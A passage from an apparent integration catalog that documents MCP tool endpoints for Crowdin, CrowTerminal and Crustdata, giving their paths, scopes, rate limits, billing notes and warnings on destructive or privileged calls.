/api/v1/crowdin/users/{userId}/reports/settings-templates. Scopes: project.report. crowdin_post_webhooks (write) — Add Webhook via POST /webhooks POST /api/v1/crowdin/webhooks. Scopes: webhook. crowdin_put_applications_by_applicationidentifier_api_by_path (write) — Update or Restore Application Data via PUT /applications/{applicationIdentifier}/api/{path} PUT /api/v1/crowdin/applications/{applicationIdentifier}/api/{path}. Scopes: application. crowdin_put_glossaries_by_glossaryid_concepts_by_conceptid (write) — Update concept via PUT /glossaries/{glossaryId}/concepts/{conceptId} PUT /api/v1/crowdin/glossaries/{glossaryId}/concepts/{conceptId}. Scopes: glossary. crowdin_put_projects_by_projectid_applications_by_applicationidentifier_modules_by_modulekey_advisors_insights (write) — Create or Update Application Advisor Insight via PUT /projects/{projectId}/applications/{applicationIdentifier}/modules/{moduleKey}/advisors/insights PUT /api/v1/crowdin/projects/{projectId}/applications/{applicationIdentifier}/modules/{moduleKey}/advisors/insights. Scopes: project.advisor. crowdin_put_projects_by_projectid_files_by_fileid (write) — Update or Restore File via PUT /projects/{projectId}/files/{fileId} PUT /api/v1/crowdin/projects/{projectId}/files/{fileId}. Scopes: project.source. crowdin_put_projects_by_projectid_members_by_memberid (write) — Replace Project Member Permissions via PUT /projects/{projectId}/members/{memberId} PUT /api/v1/crowdin/projects/{projectId}/members/{memberId}. Scopes: project.member. crowdin_put_projects_by_projectid_screenshots_by_screenshotid (write) — Update Screenshot via PUT /projects/{projectId}/screenshots/{screenshotId} PUT /api/v1/crowdin/projects/{projectId}/screenshots/{screenshotId}. Scopes: project.screenshot. crowdin_put_projects_by_projectid_screenshots_by_screenshotid_tags (write) — Replace Tags (Auto Tag) via PUT /projects/{projectId}/screenshots/{screenshotId}/tags PUT /api/v1/crowdin/projects/{projectId}/screenshots/{screenshotId}/tags. Scopes: project.screenshot. crowdin_put_projects_by_projectid_translations_by_translationid (write) — Restore Translation via PUT /projects/{projectId}/translations/{translationId} PUT /api/v1/crowdin/projects/{projectId}/translations/{translationId}. Scopes: project.translation. crowdin_put_users_by_userid_ai_providers_by_aiproviderid_gateway_by_path (write) — AI Gateway PUT via PUT /users/{userId}/ai/providers/{aiProviderId}/gateway/{path} PUT /api/v1/crowdin/users/{userId}/ai/providers/{aiProviderId}/gateway/{path}. Scopes: ai.proxy. ================================================================================ ## CrowTerminal URL: https://www.agenticfabriq.com/integrations/crowterminal Section: Integrated Tools CrowTerminal — 28 MCP tools Provider key: crowterminal. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. crowterminal_delete_api_desktop_sync_transcripts_by_id (write, destructive) — Delete a transcript via DELETE /api/desktop-sync/transcripts/{id}. DESTRUCTIVE. A soft delete at CrowTerminal -- the record stops appearing in the listing and stops counting, and this API offers nothing that restores it. Measured 2026-09-17: the first call answers 200 {"success":true} and the second answers 404 "Transcript not found", so a repeat is not idempotent. DELETE /api/v1/crowterminal/api/desktop-sync/transcripts/{id}. Scopes: api. crowterminal_get_api_auth_me (read) — Get the current user via GET /api/auth/me. The account the connection acts as: id, email, name, avatar, plan (FREE/STARTER/GROWTH/AGENCY/ENTERPRISE), auth provider and counts of related records. GET /api/v1/crowterminal/api/auth/me. Scopes: api. crowterminal_get_api_benchmarks_client_by_clientid (read) — Compare a client against its niche via GET /api/benchmarks/client/{clientId}. Percentiles and vs-average figures for one client against the benchmark for its niche. GET /api/v1/crowterminal/api/benchmarks/client/{clientId}. Scopes: api. crowterminal_get_api_benchmarks_client_by_clientid_history (read) — Get a client's benchmark history via GET /api/benchmarks/client/{clientId}/history. Percentile snapshots over time, newest first; `limit` defaults to 12. GET /api/v1/crowterminal/api/benchmarks/client/{clientId}/history. Scopes: api. crowterminal_get_api_benchmarks_niche_by_niche (read) — Get benchmarks for a niche via GET /api/benchmarks/niche/{niche}. `niche` is matched loosely -- "Fashion & Lifestyle" resolves to the `fashion` benchmark. A niche with too little data answers 404 with "Benchmarks require at least 5 accounts and 20 videos", which is a data condition rather than a bad path. GET /api/v1/crowterminal/api/benchmarks/niche/{niche}. Scopes: api. crowterminal_get_api_benchmarks_niches (read) — List niches with benchmark data via GET /api/benchmarks/niches. Each entry carries the niche key to pass to the per-niche tool, a display name, how many accounts back it and a confidence figure. GET /api/v1/crowterminal/api/benchmarks/niches. Scopes: api. crowterminal_get_api_benchmarks_summary (read) — Get a benchmark summary across all clients via GET /api/benchmarks/summary. Per-client percentiles plus agency-wide totals (client count, average percentile, top performers, clients needing attention). GET /api/v1/crowterminal/api/benchmarks/summary. Scopes: api. crowterminal_get_api_clients (read) — List clients via GET /api/clients. Paginated. `search` matches the client name and `isActive` filters on the active flag; both were measured working 2026-09-17. Unknown query parameters are ignored rather than refused. GET /api/v1/crowterminal/api/clients. Scopes: api. crowterminal_get_api_clients_by_id (read) — Get a client via GET /api/clients/{id}. `id` must be a UUID; any other shape answers 400 "Invalid client ID" from the request validator rather than 404. GET /api/v1/crowterminal/api/clients/{id}. Scopes: api. crowterminal_get_api_desktop_sync_count (read) — Count synced transcripts via GET /api/desktop-sync/count. The number of transcripts held in the cloud for this account, excluding soft-deleted ones. GET /api/v1/crowterminal/api/desktop-sync/count. Scopes: api. crowterminal_get_api_desktop_sync_sessions (read) — List desktop sessions via GET /api/desktop-sync/sessions. Registered desktop installations for this account: device id, platform, app version and when each was last seen. GET /api/v1/crowterminal/api/desktop-sync/sessions. Scopes: api. crowterminal_get_api_desktop_sync_transcripts (read) — List synced transcripts via GET /api/desktop-sync/transcripts. Transcripts uploaded by the CrowTerminal desktop app, newest first; `limit` defaults to 50 and `clientId` narrows to one client. Soft-deleted transcripts are excluded. GET /api/v1/crowterminal/api/desktop-sync/transcripts. Scopes: api. crowterminal_get_api_predictions_accuracy_summary (read) — Get prediction accuracy summary via GET /api/predictions/accuracy/summary. Aggregate error between predicted and recorded actuals across every client. Answers 200 with a null summary and an explanatory message while no actuals have been recorded. GET /api/v1/crowterminal/api/predictions/accuracy/summary. Scopes: api. crowterminal_get_api_predictions_by_clientid_history (read) — Get a client's prediction history via GET /api/predictions/{clientId}/history. Stored predictions for one client, newest first, each with its id, predicted figures and any recorded actuals. This is where the id for the single-prediction and record-actuals tools comes from. GET /api/v1/crowterminal/api/predictions/{clientId}/history. Scopes: api. crowterminal_get_api_predictions_by_id (read) — Get a prediction via GET /api/predictions/{id}. `id` is a prediction id, not a client id. An unknown one answers 404 RES_001 naming the resource; a non-UUID answers 400 VAL_001 "Invalid prediction ID". GET /api/v1/crowterminal/api/predictions/{id}. Scopes: api. crowterminal_get_api_usage_cost_projection (read) — Get cost projection via GET /api/usage/cost-projection. This account's month-to-date cost and the projection for the full month, with the day counts the projection is built from. GET /api/v1/crowterminal/api/usage/cost-projection. Scopes: api. crowterminal_get_api_usage_quota (read) — Get usage quota via GET /api/usage/quota. Plan, monthly token limit, tokens used and remaining, reset date and whether overage is allowed. This is the budget the engagement-prediction tool spends. GET /api/v1/crowterminal/api/usage/quota. Scopes: api. crowterminal_get_api_usage_summary (read) — Get usage summary via GET /api/usage/summary. This account's own usage over `days` (1-365, default 30): tokens, requests, success rate, latency, estimated cost, and breakdowns by feature and by day. `days` outside the range answers 400 "Days must be 1-365". GET /api/v1/crowterminal/api/usage/summary. Scopes: api. crowterminal_patch_api_auth_me (write) — Update the current user's profile via PATCH /api/auth/me. Accepts `name` and `avatarUrl` only. It cannot change the email or the password, so it cannot lock this connection out of the account. PATCH /api/v1/crowterminal/api/auth/me. Scopes: api. crowterminal_patch_api_predictions_by_id_actual (write) — Record actual results for a prediction via PATCH /api/predictions/{id}/actual. `actualEngagement` (0-100) and `actualViews` are required. Returns the error between predicted and actual and feeds the accuracy summary. PATCH /api/v1/crowterminal/api/predictions/{id}/actual. Scopes: api. crowterminal_post_api_auth_login (write) — Log in to an existing account via POST /api/auth/login. Exchanges any CrowTerminal email and password for a 7-day JWT and returns that token in the reply. This connection does NOT need it: Agentic Fabriq performs the same exchange itself from the login stored on the connection and attaches the result to every other tool. Rate limited by CrowTerminal to 5 attempts per hour per source IP (measured 2026-09-17: ratelimit-policy 5;w=3600), a budget shared with the connection's own automatic sign-in, so calling this tool can leave the connection unable to renew its session for up to an hour. POST /api/v1/crowterminal/api/auth/login. Scopes: api. crowterminal_post_api_auth_register (write) — Register a new user via POST /api/auth/register. Creates a NEW CrowTerminal account from an email, password and name -- it does not act on the account this connection holds, and the account it creates is not connected to Agentic Fabriq. The reply carries a 7-day JWT for the new account. Rate limited by CrowTerminal to 3 registrations per hour per source IP (measured 2026-09-17: ratelimit-policy 3;w=3600), which is shared by every connection on this deployment. POST /api/v1/crowterminal/api/auth/register. Scopes: api. crowterminal_post_api_billing_checkout (write) — Create a Stripe checkout session via POST /api/billing/checkout. PRIVILEGED. Starts a paid subscription purchase for the connected account and returns a live Stripe Checkout URL; anyone holding that URL can complete the purchase. `priceId` is a Stripe price id -- an unknown one answers 400 "Invalid price ID" (measured 2026-09-17). POST /api/v1/crowterminal/api/billing/checkout. Scopes: api. crowterminal_post_api_billing_portal (write) — Create a Stripe billing portal session via POST /api/billing/portal. PRIVILEGED. Returns a live Stripe customer-portal URL for the connected account, carrying a session secret in the query string. Anyone holding that URL can change or cancel the subscription and see the stored payment methods. Measured 2026-09-17: answers 200 with such a URL on a FREE-plan account. POST /api/v1/crowterminal/api/billing/portal. Scopes: api. crowterminal_post_api_clients (write) — Create a client via POST /api/clients. `name` is the only required field. The enumerated fields (`brandVoice`, `contentGoals`, `language`, `postingFrequency`, `region`, `targetGender`) accept only the listed values. Returns the created client including the `id` the benchmark and prediction tools take. POST /api/v1/crowterminal/api/clients. Scopes: api. crowterminal_post_api_desktop_sync_sessions (write) — Register a desktop session via POST /api/desktop-sync/sessions. `deviceId`, `platform` (darwin/win32/linux) and `appVersion` are required. Re-registering a known device updates its last-seen time rather than creating a second row. POST /api/v1/crowterminal/api/desktop-sync/sessions. Scopes: api. crowterminal_post_api_desktop_sync_transcripts (write) — Upload a transcript via POST /api/desktop-sync/transcripts. `fileName`, `text` and `language` are required; `clientId`, `duration`, `localId` and `createdAt` are optional. Returns the stored transcript's id. POST /api/v1/crowterminal/api/desktop-sync/transcripts. Scopes: api. crowterminal_post_api_predictions_engagement (write) — Predict engagement for planned content via POST /api/predictions/engagement. BILLED IN TOKENS against the account's monthly quota (see the usage-quota tool). Takes a `clientId` and a `content` object (caption, hashtags, posting time, video duration) and returns a predicted engagement rate with a range, a view range, an overall score and per-signal breakdowns. The prediction is stored and gets an id, which the prediction-history tool reads back. POST /api/v1/crowterminal/api/predictions/engagement. Scopes: api. ================================================================================ ## Crustdata URL: https://www.agenticfabriq.com/integrations/crustdata Section: Integrated Tools Crustdata — 59 MCP tools Provider key: crustdata. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. crustdata_delete_watch_by_dataset_by_watch_id (write, destructive) — Cancel one entity watch. DESTRUCTIVE and not reversible through this API: the watch stops running and Crustdata publishes no un-cancel endpoint. via DELETE /watch/{dataset}/{watch_id} DELETE /api/v1/crustdata/watch/{dataset}/{watch_id}. Scopes: api. crustdata_delete_watch_by_dataset_search_by_watch_id (write, destructive) — Cancel one discovery watch. DESTRUCTIVE and not reversible through this API: the watch stops running and Crustdata publishes no un-cancel endpoint. via DELETE /watch/{dataset}/search/{watch_id} DELETE /api/v1/crustdata/watch/{dataset}/search/{watch_id}. Scopes: api. crustdata_delete_watch_by_watch_id (write, destructive) — Cancel one watch by its numeric id. DESTRUCTIVE and not reversible through this API: the watch stops running and Crustdata publishes no un-cancel endpoint. Its recorded runs stay readable. via DELETE /watch/{watch_id} DELETE /api/v1/crustdata/watch/{watch_id}. Scopes: api. crustdata_get_account_credits (read) — Read the account's credit summary. The balance sits under the `account` key, never at the top level. Free, consumes no credits, and takes no arguments -- which is why it is the endpoint this integration probes a pasted key against. via GET /account/credits GET /api/v1/crustdata/account/credits. Scopes: api. crustdata_get_account_endpoints (read) — Read what this account may call, endpoint by endpoint: whether it is `enabled` or `disabled`, which response fields are enabled, the effective rate limit in requests per minute, and the account's own per-result and per-premium-field prices. THIS IS THE TOOL THAT ANSWERS "why did that call return 403". PASS A FILTER: unfiltered the response is roughly 76 KB on a single line, because the field lists run to 558 entries for `/company/enrich` alone. `path` matches one endpoint, `category` matches a product group (`Company`, `Person`, `Jobs`, `Web`, `LinkedIn & Social`, `Other`, case-insensitively) and `status` keeps only the enabled or only the disabled ones. Free. via GET /account/endpoints GET /api/v1/crustdata/account/endpoints. Scopes: api. crustdata_get_account_usage_errors (read) — Group this account's failed API requests over a time window, optionally narrowed to particular API keys or endpoints. Free. via GET /account/usage/errors GET /api/v1/crustdata/account/usage/errors. Scopes: api. crustdata_get_account_usage_events (read) — List this account's individual API calls, newest first, filtered by time window, API key, endpoint, product, status, status class, client surface or error, and paged with an opaque `cursor`. `hide_free` drops the calls that cost nothing. Free. via GET /account/usage/events GET /api/v1/crustdata/account/usage/events. Scopes: api. crustdata_get_account_usage_events_by_request_id (read) — Read one usage event by its request id, together with the request that was stored for it -- the call to make when an agent's earlier request needs explaining. Free. via GET /account/usage/events/{request_id} GET /api/v1/crustdata/account/usage/events/{request_id}. Scopes: api. crustdata_get_account_usage_summary (read) — Aggregate this account's API usage into one row per combination of the dimensions named in `group_by` (day, product, endpoint, component, API key, client surface, client platform or status class), bucketed by day or hour over a `start`/`end` window. Free. via GET /account/usage/summary GET /api/v1/crustdata/account/usage/summary. Scopes: api. crustdata_get_batch (read) — List this account's batch jobs, most recent first, optionally filtered by status and paged with an opaque `cursor`. via GET /batch GET /api/v1/crustdata/batch. Scopes: api. crustdata_get_batch_by_batch_id (read) — Read one batch job's current state: its status, counts, error message when it has one, and -- once `status` is `completed` -- its `download_url`/`download_urls`. Check `result_count` before downloading: a completed job with zero results can still carry a URL pointing at a file that was never written, which answers 404. via GET /batch/{batch_id} GET /api/v1/crustdata/batch/{batch_id}. Scopes: api. crustdata_get_watch_by_dataset (read) — List the entity watches on one dataset -- the watches that track a FIXED set of records and report when the fields you chose change -- optionally filtered by status and paged with `limit`/`offset`. Only `person` and `company` have entity watches. via GET /watch/{dataset} GET /api/v1/crustdata/watch/{dataset}. Scopes: api. crustdata_get_watch_by_dataset_by_watch_id (read) — Read one entity watch on one dataset, in the same shape create, list and update return. via GET /watch/{dataset}/{watch_id} GET /api/v1/crustdata/watch/{dataset}/{watch_id}. Scopes: api. crustdata_get_watch_by_dataset_by_watch_id_runs (read) — List one watch's runs on one dataset, newest first, paged by an integer `cursor`. `only_credited` narrows the page to the runs that were charged. via GET /watch/{dataset}/{watch_id}/runs GET /api/v1/crustdata/watch/{dataset}/{watch_id}/runs. Scopes: api. crustdata_get_watch_by_dataset_by_watch_id_runs_by_run_id_summary (read) — Read one run of one watch on one dataset in full: its counts, its activity log and what each delivery channel answered. via GET /watch/{dataset}/{watch_id}/runs/{run_id}/summary GET /api/v1/crustdata/watch/{dataset}/{watch_id}/runs/{run_id}/summary. Scopes: api. crustdata_get_watch_by_dataset_search (read) — List the discovery watches on one dataset -- the watches that run a SEARCH on a schedule and report the entities that newly match -- optionally filtered by status and paged with `limit`/`offset`. via GET /watch/{dataset}/search GET /api/v1/crustdata/watch/{dataset}/search. Scopes: api. crustdata_get_watch_by_dataset_search_by_watch_id (read) — Read one discovery watch on one dataset, in the same shape create, list and update return. via GET /watch/{dataset}/search/{watch_id} GET /api/v1/crustdata/watch/{dataset}/search/{watch_id}. Scopes: api. crustdata_get_watch_by_watch_id (read) — Read one watch by its numeric id, whichever dataset and kind it belongs to -- the dataset-agnostic address, for when all you have is the id. via GET /watch/{watch_id} GET /api/v1/crustdata/watch/{watch_id}. Scopes: api. crustdata_get_watch_by_watch_id_runs (read) — List one watch's runs, newest first, paged by an integer `cursor`. `only_credited` narrows the page to the runs that were charged. via GET /watch/{watch_id}/runs GET /api/v1/crustdata/watch/{watch_id}/runs. Scopes: api. crustdata_get_watch_by_watch_id_runs_by_run_id_summary (read) — Read one run of one watch in full: its counts, its activity log and what each delivery channel answered. via GET /watch/{watch_id}/runs/{run_id}/summary GET /api/v1/crustdata/watch/{watch_id}/runs/{run_id}/summary. Scopes: api. crustdata_patch_watch_by_dataset_by_watch_id (write) — Change an entity watch's mutable settings. ONLY four keys are accepted: sending `track`, `fields`, `dataset`, `kind`, `api_version`, `filters`, `sorts` or `on` is answered 400. via PATCH /watch/{dataset}/{watch_id} PATCH /api/v1/crustdata/watch/{dataset}/{watch_id}. Scopes: api. crustdata_patch_watch_by_dataset_search_by_watch_id (write) — Change a discovery watch's name, config or delivery channels. ONLY those three keys are accepted: sending `filters`, `sorts`, `on`, `fields`, `dataset`, `kind` or `api_version` is answered 400. via PATCH /watch/{dataset}/search/{watch_id} PATCH /api/v1/crustdata/watch/{dataset}/search/{watch_id}. Scopes: api. crustdata_patch_watch_by_watch_id (write) — Change one watch's mutable settings by its numeric id. The accepted keys differ by kind -- an entity watch and a discovery watch take different sets, and sending a key the watch's kind does not accept is answered 400. via PATCH /watch/{watch_id} PATCH /api/v1/crustdata/watch/{watch_id}. Scopes: api. crustdata_post_batch_company_enrich (write) — Enrich many companies asynchronously, with the same identifier types and field selection as the synchronous company enrich. Returns immediately with a `batch_id` and a `status_url`: NO DATA comes back at submit time. Poll `crustdata_get_batch_by_batch_id` until `status` is `completed`, then read `download_url`/`download_urls` -- and check `result_count` first, because a completed job with `result_count: 0` can carry a `download_url` pointing at a file that was never written. SPENDS CREDITS: Crustdata charges per result returned, and premium fields, premium filters and premium request modes cost extra per result. `crustdata_get_account_endpoints` reports this account's own per-endpoint and per-field prices, and `crustdata_get_account_credits` its remaining balance. via POST /batch/company/enrich POST /api/v1/crustdata/batch/company/enrich. Scopes: api. crustdata_post_batch_company_professional_network_search_live (write) — Run a live professional-network company search asynchronously. Provide either `filters` (a flat list of `{field, type, value}`) or a `professional_network_search_url`; omitting both is answered 400. Returns immediately with a `batch_id` and a `status_url`: NO DATA comes back at submit time. Poll `crustdata_get_batch_by_batch_id` until `status` is `completed`, then read `download_url`/`download_urls` -- and check `result_count` first, because a completed job with `result_count: 0` can carry a `download_url` pointing at a file that was never written. SPENDS CREDITS: Crustdata charges per result returned, and premium fields, premium filters and premium request modes cost extra per result. `crustdata_get_account_endpoints` reports this account's own per-endpoint and per-field prices, and `crustdata_get_account_credits` its remaining balance. PLAN-GATED: this endpoint is an enterprise/plan entitlement, so an account without it is answered 403 with `error.type: permission_error` naming the endpoint. That is the account's tier, not a broken connection and not a bad key -- read `crustdata_get_account_endpoints` to see which endpoints this account may call. via POST /batch/company/professional_network/search/live POST /api/v1/crustdata/batch/company/professional_network/search/live. Scopes: api. crustdata_post_batch_company_search (write) — Run one company-search filter group asynchronously; the job walks the paginated result set server-side until `max_results` is reached or the results run out. The synchronous paging parameters (`limit`, `page`, `preview`) are ignored here. Returns immediately with a `batch_id` and a `status_url`: NO DATA comes back at submit time. Poll `crustdata_get_batch_by_batch_id` until `status` is `completed`, then read `download_url`/`download_urls` -- and check `result_count` first, because a completed job with `result_count: 0` can carry a `download_url` pointing at a file that was never written. SPENDS CREDITS: Crustdata charges per result returned, and premium fields, premium filters and premium request modes cost extra per result. `crustdata_get_account_endpoints` reports this account's own per-endpoint and per-field prices, and `crustdata_get_account_credits` its remaining balance. via POST /batch/company/search POST /api/v1/crustdata/batch/company/search. Scopes: api. crustdata_post_batch_job_search (write) — Deliver every indexed job listing for a set of Crustdata company ids asynchronously. There is no `filters` or `max_results` control on this endpoint -- it walks the whole result set for those companies. Returns immediately with a `batch_id` and a `status_url`: NO DATA comes back at submit time. Poll `crustdata_get_batch_by_batch_id` until `status` is `completed`, then read `download_url`/`download_urls` -- and check `result_count` first, because a completed job with `result_count: 0` can carry a `download_url` pointing at a file that was never written. SPENDS CREDITS: Crustdata charges per result returned, and premium fields, premium filters and premium request modes cost extra per result. `crustdata_get_account_endpoints` reports this account's own per-endpoint and per-field prices, and `crustdata_get_account_credits` its remaining balance. via POST /batch/job/search POST /api/v1/crustdata/batch/job/search. Scopes: api. crustdata_post_batch_person_contact_enrich (write) — Look up contact details for many professional-network profile URLs asynchronously. `professional_network_profile_urls` is the only identifier type accepted and `fields` is REQUIRED -- it names which contact kinds to retrieve. Returns immediately with a `batch_id` and a `status_url`: NO DATA comes back at submit time. Poll `crustdata_get_batch_by_batch_id` until `status` is `completed`, then read `download_url`/`download_urls` -- and check `result_count` first, because a completed job with `result_count: 0` can carry a `download_url` pointing at a file that was never written. SPENDS CREDITS: Crustdata charges per result returned, and premium fields, premium filters and premium request modes cost extra per result. `crustdata_get_account_endpoints` reports this account's own per-endpoint and per-field prices, and `crustdata_get_account_credits` its remaining balance. PLAN-GATED: this endpoint is an enterprise/plan entitlement, so an account without it is answered 403 with `error.type: permission_error` naming the endpoint. That is the account's tier, not a broken connection and not a bad key -- read `crustdata_get_account_endpoints` to see which endpoints this account may call. via POST /batch/person/contact/enrich POST /api/v1/crustdata/batch/person/contact/enrich. Scopes: api. crustdata_post_batch_person_enrich (write) — Enrich many people asynchronously, with the same identifier types and field selection as the synchronous person enrich. Returns immediately with a `batch_id` and a `status_url`: NO DATA comes back at submit time. Poll `crustdata_get_batch_by_batch_id` until `status` is `completed`, then read `download_url`/`download_urls` -- and check `result_count` first, because a completed job with `result_count: 0` can carry a `download_url` pointing at a file that was never written. SPENDS CREDITS: Crustdata charges per result returned, and premium fields, premium filters and premium request modes cost extra per result. `crustdata_get_account_endpoints` reports this account's own per-endpoint and per-field prices, and `crustdata_get_account_credits` its remaining balance. via POST /batch/person/enrich POST /api/v1/crustdata/batch/person/enrich. Scopes: api. crustdata_post_batch_person_identify (write) — Resolve many person identifiers to dataset records asynchronously. This is the one endpoint on the account with no rate limit at all. Returns immediately with a `batch_id` and a `status_url`: NO DATA comes back at submit time. Poll `crustdata_get_batch_by_batch_id` until `status` is `completed`, then read `download_url`/`download_urls` -- and check `result_count` first, because a completed job with `result_count: 0` can carry a `download_url` pointing at a file that was never written. SPENDS CREDITS: Crustdata charges per result returned, and premium fields, premium filters and premium request modes cost extra per result. `crustdata_get_account_endpoints` reports this account's own per-endpoint and per-field prices, and `crustdata_get_account_credits` its remaining balance. via POST /batch/person/identify POST /api/v1/crustdata/batch/person/identify. Scopes: api. crustdata_post_batch_person_professional_network_enrich_live (write) — Retrieve many professional-network profiles fresh from the web asynchronously. `professional_network_profile_urls` is the only identifier type accepted. Returns immediately with a `batch_id` and a `status_url`: NO DATA comes back at submit time. Poll `crustdata_get_batch_by_batch_id` until `status` is `completed`, then read `download_url`/`download_urls` -- and check `result_count` first, because a completed job with `result_count: 0` can carry a `download_url` pointing at a file that was never written. SPENDS CREDITS: Crustdata charges per result returned, and premium fields, premium filters and premium request modes cost extra per result. `crustdata_get_account_endpoints` reports this account's own per-endpoint and per-field prices, and `crustdata_get_account_credits` its remaining balance. PLAN-GATED: this endpoint is an enterprise/plan entitlement, so an account without it is answered 403 with `error.type: permission_error` naming the endpoint. That is the account's tier, not a broken connection and not a bad key -- read `crustdata_get_account_endpoints` to see which endpoints this account may call. via POST /batch/person/professional_network/enrich/live POST /api/v1/crustdata/batch/person/professional_network/enrich/live. Scopes: api. crustdata_post_batch_person_professional_network_search_live (write) — Run a live professional-network person search asynchronously. Provide either `filters` or a `professional_network_search_url`; omitting both is answered 400. Returns immediately with a `batch_id` and a `status_url`: NO DATA comes back at submit time. Poll `crustdata_get_batch_by_batch_id` until `status` is `completed`, then read `download_url`/`download_urls` -- and check `result_count` first, because a completed job with `result_count: 0` can carry a `download_url` pointing at a file that was never written. SPENDS CREDITS: Crustdata charges per result returned, and premium fields, premium filters and premium request modes cost extra per result. `crustdata_get_account_endpoints` reports this account's own per-endpoint and per-field prices, and `crustdata_get_account_credits` its remaining balance. PLAN-GATED: this endpoint is an enterprise/plan entitlement, so an account without it is answered 403 with `error.type: permission_error` naming the endpoint. That is the account's tier, not a broken connection and not a bad key -- read `crustdata_get_account_endpoints` to see which endpoints this account may call. via POST /batch/person/professional_network/search/live POST /api/v1/crustdata/batch/person/professional_network/search/live. Scopes: api. crustdata_post_batch_person_search (write) — Run one person-search filter group asynchronously; the job walks the paginated result set server-side until `max_results` is reached or the results run out. The synchronous paging parameters are ignored here. Returns immediately with a `batch_id` and a `status_url`: NO DATA comes back at submit time. Poll `crustdata_get_batch_by_batch_id` until `status` is `completed`, then read `download_url`/`download_urls` -- and check `result_count` first, because a completed job with `result_count: 0` can carry a `download_url` pointing at a file that was never written. SPENDS CREDITS: Crustdata charges per result returned, and premium fields, premium filters and premium request modes cost extra per result. `crustdata_get_account_endpoints` reports this account's own per-endpoint and per-field prices, and `crustdata_get_account_credits` its remaining balance. via POST /batch/person/search POST /api/v1/crustdata/batch/person/search. Scopes: api. crustdata_post_batch_person_verify (write) — Check asynchronously whether professional-network profile URLs still resolve to live profiles. `professional_network_profile_urls` is required; omitting it is answered 400. Returns immediately with a `batch_id` and a `status_url`: NO DATA comes back at submit time. Poll `crustdata_get_batch_by_batch_id` until `status` is `completed`, then read `download_url`/`download_urls` -- and check `result_count` first, because a completed job with `result_count: 0` can carry a `download_url` pointing at a file that was never written. SPENDS CREDITS: Crustdata charges per result returned, and premium fields, premium filters and premium request modes cost extra per result. `crustdata_get_account_endpoints` reports this account's own per-endpoint and per-field prices, and `crustdata_get_account_credits` its remaining balance. via POST /batch/person/verify POST /api/v1/crustdata/batch/person/verify. Scopes: api. crustdata_post_batch_social_post_professional_network_enrich_live (write) — Retrieve professional-network posts for many identifiers asynchronously. Provide exactly ONE identifier type -- profile URLs, post URLs, company professional-network URLs, Crustdata company ids, company names or company domains; none or more than one is answered 400. Each list may also be sent as a single comma-separated string. Returns immediately with a `batch_id` and a `status_url`: NO DATA comes back at submit time. Poll `crustdata_get_batch_by_batch_id` until `status` is `completed`, then read `download_url`/`download_urls` -- and check `result_count` first, because a completed job with `result_count: 0` can carry a `download_url` pointing at a file that was never written. SPENDS CREDITS: Crustdata charges per result returned, and premium fields, premium filters and premium request modes cost extra per result. `crustdata_get_account_endpoints` reports this account's own per-endpoint and per-field prices, and `crustdata_get_account_credits` its remaining balance. PLAN-GATED: this endpoint is an enterprise/plan entitlement, so an account without it is answered 403 with `error.type: permission_error` naming the endpoint. That is the account's tier, not a broken connection and not a bad key -- read `crustdata_get_account_endpoints` to see which endpoints this account may call. via POST /batch/social_post/professional_network/enrich/live POST /api/v1/crustdata/batch/social_post/professional_network/enrich/live. Scopes: api. crustdata_post_company_enrich (write) — Read full company profiles from the dataset -- basic info, headcount and its growth, role distribution, funding, revenue estimates, markets, industries and locations -- by name, domain, Crustdata company id or professional-network profile URL, one entry per identifier. Provide exactly ONE identifier type per request, and name `fields` to keep the response small: the unfiltered company record carries 558 response fields. SPENDS CREDITS: Crustdata charges per result returned, and premium fields, premium filters and premium request modes cost extra per result. `crustdata_get_account_endpoints` reports this account's own per-endpoint and per-field prices, and `crustdata_get_account_credits` its remaining balance. via POST /company/enrich POST /api/v1/crustdata/company/enrich. Scopes: api. crustdata_post_company_identify (write) — Resolve 1 to 25 company names, domains, Crustdata company ids or professional-network profile URLs to the companies that match, one entry per identifier submitted. Provide exactly ONE identifier type per request. Use this to turn a messy name or domain into a `crustdata_company_id` before enriching. SPENDS CREDITS: Crustdata charges per result returned, and premium fields, premium filters and premium request modes cost extra per result. `crustdata_get_account_endpoints` reports this account's own per-endpoint and per-field prices, and `crustdata_get_account_credits` its remaining balance. via POST /company/identify POST /api/v1/crustdata/company/identify. Scopes: api. crustdata_post_company_professional_network_search_live (write) — Run a company search against the professional network in real time, 25 results per page, from `filters` or by replaying a saved `professional_network_search_url`. Slower and more expensive than the indexed dataset search; use it when freshness matters more than cost. SPENDS CREDITS: Crustdata charges per result returned, and premium fields, premium filters and premium request modes cost extra per result. `crustdata_get_account_endpoints` reports this account's own per-endpoint and per-field prices, and `crustdata_get_account_credits` its remaining balance. PLAN-GATED: this endpoint is an enterprise/plan entitlement, so an account without it is answered 403 with `error.type: permission_error` naming the endpoint. That is the account's tier, not a broken connection and not a bad key -- read `crustdata_get_account_endpoints` to see which endpoints this account may call. via POST /company/professional_network/search/live POST /api/v1/crustdata/company/professional_network/search/live. Scopes: api. crustdata_post_company_search (write) — Search Crustdata's indexed company dataset with structured `filters`, a natural-language `search` block, or both -- at least one is required -- plus sorts, field selection and cursor pagination. Build filter values with `crustdata_post_company_search_autocomplete` so a filter names values the dataset really holds. SPENDS CREDITS: Crustdata charges per result returned, and premium fields, premium filters and premium request modes cost extra per result. `crustdata_get_account_endpoints` reports this account's own per-endpoint and per-field prices, and `crustdata_get_account_credits` its remaining balance. via POST /company/search POST /api/v1/crustdata/company/search. Scopes: api. crustdata_post_company_search_autocomplete (write) — Suggest valid values for one `/company/search` filter field, so a filter is built from values the dataset actually holds rather than from a guess that silently matches nothing. via POST /company/search/autocomplete POST /api/v1/crustdata/company/search/autocomplete. Scopes: api. crustdata_post_job_professional_network_search_live (write) — Retrieve one company's job listings 